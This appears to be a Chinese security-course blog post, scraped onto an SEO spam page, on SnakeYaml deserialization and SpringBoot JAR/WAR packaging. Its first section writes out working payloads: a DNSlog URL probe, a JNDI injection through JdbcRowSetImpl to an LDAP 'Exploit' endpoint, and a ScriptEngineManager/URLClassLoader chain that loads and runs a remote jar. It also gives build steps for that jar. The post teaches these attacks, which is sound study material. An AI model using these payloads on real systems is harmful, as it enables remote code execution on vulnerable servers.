当前位置: 首页 > wzjs >正文

做视频解析网站爱站网站长百度查询权重

做视频解析网站,爱站网站长百度查询权重,网页设计与制作教程电,wordpress识图搜索代码知识点: 1、安全开发-JavaEE-WAR&JAR打包&反编译 2、安全开发-JavaEE-SnakeYaml反序列化&链 一、演示案例-WEB开发-JavaEE-项目-SnakeYaml序列化 常见的创建的序列化和反序列化协议 • (已讲)JAVA内置的writeObject()/readObje…

知识点:
1、安全开发-JavaEE-WAR&JAR打包&反编译
2、安全开发-JavaEE-SnakeYaml反序列化&链

一、演示案例-WEB开发-JavaEE-项目-SnakeYaml序列化

常见的创建的序列化和反序列化协议
• (已讲)JAVA内置的writeObject()/readObject() 通用<==>Object
• JAVA内置的XMLDecoder()/XMLEncoder xml<==>Object
• (已讲)XStream xml<==>Object
• (已讲)SnakeYaml yaml<==>Object
• (已讲)FastJson json<==>Object
• Jackson json<==>Object
SnakeYaml反序列化
SnakeYaml是Java中解析yaml的库,而yaml是一种人类可读的数据序列化语言,通常用于编写配置文件等。SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化:
Yaml.load():反序列化 将YAML格式的字符串或文件内容转换成Java对象;
Yaml.dump():序列化 将一个Java对象转化为yaml文件形式;
测试总结:load和loadas(dump)都调用了对应的set方法

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

<dependency><groupId>org.yaml</groupId><artifactId>snakeyaml</artifactId><version>1.32</version>
</dependency>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
参考:https://www.cnblogs.com/F12-blog/p/18151239

1、URL链(JAVA自带链)

!!java.net.URL ["http://5dsff0.dnslog.cn/"]: 1
// java.net.URL这是JAVA自带的类

在这里插入图片描述
在这里插入图片描述

2、JNDI注入

!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: "ldap://localhost:1389/Exploit"
autoCommit: true
//com.sun.rowset.JdbcRowSetImpl是java自带类

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、RCE(自带链+利用SPI机制)

在这里插入图片描述
https://github.com/artsploit/yaml-payload/
在这里插入图片描述

编译项目源码(把该项目打包成一个jar)-命令编译

javac AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

编译项目源码(把该项目打包成一个jar)-项目编译

项目结构-工件-添加-yaml-payload-添加模块输出-构建工件
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

python -m http.server 9999

在这里插入图片描述

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"]]]]

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、演示案例-WEB开发-JavaEE-SpringBoot-打包部署-JAR&WAR

参考:https://mp.weixin.qq.com/s/HyqVt7EMFcuKXfiejtfleg
在这里插入图片描述

SpringBoot项目打包在各类系统服务器中运行:
①jar类型项目
jar类型项目使用SpringBoot打包插件打包时,会在打成的jar中内置tomcat的jar。所以使用jdk直接运行jar即可,jar项目中功能将代码放到其内置的tomcat中运行。
②war类型项目
在打包时需要将内置的tomcat插件排除,配置servlet的依赖和修改pom.xml,然后将war文件放到tomcat安装目录webapps下,启动运行tomcat自动解析即可。

Jar打包

报错解决:
https://blog.csdn.net/Mrzhuangr/article/details/124731024
https://blog.csdn.net/wobenqingfeng/article/details/129914639

1、maven-clean-package

在这里插入图片描述
在这里插入图片描述

2、java -jar xxxxxx.jar

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

War打包

1、pom.xml加入或修改

<packaging>war</packaging>

在这里插入图片描述

2、启动类里面加入配置

public class TestSwaggerDemoApplication extends SpringBootServletInitializer
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
return builder.sources(TestSwaggerDemoApplication.class);
}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、maven-clean-package

在这里插入图片描述
在这里插入图片描述

4、war放置tomcat后启动

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

安全:JAVAEE源码架构

无源码下载泄漏风险,JAR泄漏也需反编译(jar文件反编译)
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
不是所有的jar包都能反编译,有些jar包会用到混肴技术(类似APP加壳)

http://www.dtcms.com/wzjs/426319.html

相关文章:

  • 高端网站建设公司哪家好附近电脑培训学校
  • 传播建设网站今日国内重大新闻
  • 网站开发服务器数据库优化网站排名方法教程
  • 网站制作公司品牌深圳推广不动产可视化查询
  • 门户网站建设全包推广方案策划
  • 做门窗生意进哪个网站什么是百度权重
  • 手机微网站怎么做的网站推广经验
  • 市住房城乡建设网站seo站长查询
  • 海尔电商网站建设方案百度推广登录网址
  • wordpress模版建站青岛关键词网站排名
  • 网站做影集安全吗排名第一的玉米品种
  • 宝塔软件怎么做网站网站流量来源
  • 做网站用com还是cn好推广网站的四种方法
  • 手机膜 东莞网站建设郑州网站关键词排名技术代理
  • 上海歌舞娱乐场所停业旧版优化大师
  • 营销网站开发找哪家免费培训课程
  • 海外做代购去哪个网站北京seo顾问
  • 网站后台的功能新闻发布系统
  • 网站进入百度沙盒网站建站
  • 网站链接安全检测长沙在线网站的目标客户
  • 网站永久免费建站八爪鱼磁力搜索引擎
  • 注册公司需要登录的网址百度推广优化是什么?
  • 描述建设一个网站的具体流程广州网站设计制作
  • 佛山最好的网站建设石家庄百度快速排名优化
  • 广州电子商务网站建设爱站长工具综合查询
  • 吧网站做软件的软件少儿编程
  • 橙子建站官网联系电话如何提交百度收录
  • 室内设计师网上接单seo优化标题 关键词
  • 成品网站货源1277seo推广公司价格
  • 网站运营做的是什么工作创建网站教程